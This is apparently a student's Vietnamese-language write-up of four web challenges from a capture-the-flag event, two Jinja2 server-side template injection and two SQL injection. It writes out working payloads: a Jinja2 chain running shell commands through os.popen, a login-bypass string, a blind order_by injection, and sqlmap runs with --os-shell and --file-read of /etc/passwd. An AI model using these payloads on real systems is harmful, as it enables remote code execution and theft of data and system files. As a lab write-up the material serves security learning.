Writeup Cyradar CTF TTS/CTV [WEB]
Bài 1: SSTI
Khi mở web lên có giao diện như sau:

=> Khả năng có 1 query string là name
Cho name có giá trị là {{7*7}} để test SSTI
=> Xuất hiện 49 => có khả năng bị SSTI

Test tiếp name = ${{<%[%'"}}%\. để biết xem phía server đang dùng template engine nào

=> Jinja2
Sử dụng payload:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls /').read() }}
Phát hiện có flag.txt

Đọc flag.txt
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag.txt').read() }}

Flag: Hello CyWeb{w3b_3asy_sst1}!
Bài 2: SQL Injection
Bài 2 có giao diện như sau:

Đọc source code => SQL Injection
Khi thử nhập username là admin' or 1 = 1 -- thì bị thật

Tiếp theo sử dụng tool SQLMap để đẩy nhanh tiến độ dump db
Đầu tiên sử dụng Burp Suite vào url bài web, đăng nhập thử, sau đó lấy request đưa vào file request.txt
Sau đó sử dụng SQLMap như sau


Thấy được 3 database sau:

Thử dump database public (-dbs)

Khi dump table users thì không thấy flag (-D public -T users --dump)

Xem lại đề bài có vẻ gợi ý RCE

=> Thêm option --os-shell để RCE

Sau đó liệt kê thư mục gốc:

Đọc file flag.txt

Flag: CyWeb{ThiS_i5_m3d!um5q1!r(3}
Bài 3: SSTI

Server đang reflect lại địa chỉ IP của client.
Thử thêm X-Forwarded-For vào gói tin:

=> Thử địa chỉ localhost nhưng không thấy gì
Thử {{7*7}} ra 49

Tiếp tục 1 số bước như bài 1 => Jinja2
Và chèn payload sau:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls /').read() }}

Đọc flag.txt:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag.txt').read() }}

Flag: CyWeb{m3d!umsst!}
Bài 4: SQL Injection

Có vẻ giống bài 2 nhưng lần này với query string order_by
Sử dụng sqlmap check 1 số database

=> xem xét db chh
Note: 1 cách test bằng cơm nếu không dùng sqlmap:
?order_by=(SELECT (CASE WHEN ((SELECT substring(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)='a') THEN 'price' ELSE (SELECT 7066 UNION SELECT 7211) END))
Phát hiện table flag


Tuy nhiên thì đây là flag fake
Sau đó có thử option --os-shell tuy nhiên gặp lỗi (khả năng không upload được file) => Không thể RCE được
Sau khi tìm hiểu thì có phát hiện ra sqlmap có thể đọc được file với --file-read
sqlmap -r request.txt --file-read=/etc/passwd
Đầu tiên đọc file /etc/passwd xem có flag không

Em nghĩ lại thì flag các bài trước đều được đặt ở /flag.txt

=> Flag: CyWeb{w3b_h@rd_sql1_0rderby}